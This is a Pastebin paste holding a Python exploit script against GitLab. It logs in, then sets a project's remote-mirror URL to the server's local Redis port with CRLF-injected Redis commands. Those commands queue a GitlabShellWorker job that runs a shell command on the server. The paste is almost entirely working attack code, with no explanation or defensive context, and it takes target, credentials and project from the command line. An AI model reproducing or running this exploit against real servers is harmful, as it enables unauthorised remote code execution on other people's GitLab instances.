Guest User

Untitled

a guest
Jan 4th, 2019
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.37 KB | None | 0 0
  1. #!/usr/bin/env python3
  2.  
  3. import requests
  4. import sys
  5. from bs4 import BeautifulSoup
  6. from urllib.parse import urljoin
  7. import random
  8. import logging
  9. import time
  10.  
  11. s = requests.Session()
  12.  
  13. def get_csrf_token(html):
  14. soup = BeautifulSoup(html)
  15. auth_token = soup.find("input", {"name": "authenticity_token"})
  16. return auth_token["value"]
  17.  
  18. def login(username, password):
  19. response = s.get(urljoin(target, '/users/sign_in'))
  20.  
  21. token = get_csrf_token(response.text)
  22.  
  23. data = {
  24. 'user[login]': username,
  25. 'user[password]': password,
  26. 'authenticity_token': token
  27. }
  28.  
  29. response = s.post(urljoin(target, '/users/sign_in'), data=data)
  30. assert(response.status_code == 200)
  31.  
  32. def execute_payload(username, project, payload):
  33. namespace = username
  34. response = s.get(urljoin(target, "/".join([namespace, project, 'settings/repository'])))
  35. token = get_csrf_token(response.text)
  36.  
  37. url = 'git://[0:0:0:0:0:ffff:127.0.0.1]:6379/\r\n\n\n' + payload + '\n'
  38. data = {
  39. '_method': 'patch',
  40. 'project[remote_mirrors_attributes][0][enabled]': '1',
  41. 'project[remote_mirrors_attributes][0][only_protected_branches]': 'true',
  42. 'project[remote_mirrors_attributes][0][uri]': url,
  43. 'uri': url,
  44. 'authenticity_token': token,
  45. 'auth_metod': '',
  46. 'password': ''
  47. }
  48.  
  49. response = s.post(urljoin(target, "/".join([namespace, project, 'mirror'])), data=data)
  50.  
  51. data = {
  52. '_method': 'post',
  53. 'authenticity_token': token
  54. }
  55.  
  56. response = s.post(urljoin(target, "/".join([namespace, project, 'mirror/update_now?sync_remote=true'])), data=data)
  57.  
  58. if __name__ == '__main__':
  59. if len(sys.argv) != 5:
  60. print("python3 exploit.py target username password projectname")
  61. sys.exit(1)
  62.  
  63. target = sys.argv[1]
  64. username = sys.argv[2]
  65. password = sys.argv[3]
  66. projectname = sys.argv[4]
  67. jid = ''.join(random.choice('0123456789abcdeg') for n in range(24))
  68. payload = """
  69. multi
  70.  
  71. sadd resque:gitlab:queues system_hook_push
  72.  
  73. lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"classeval\\",\\"open(\\'|whoami > /tmp/a \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"%s\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}"
  74.  
  75. exec
  76.  
  77. exec
  78.  
  79. """ % jid
  80. login(username, password)
  81. execute_payload(username, projectname, payload)
Add Comment
Please, Sign In to add comment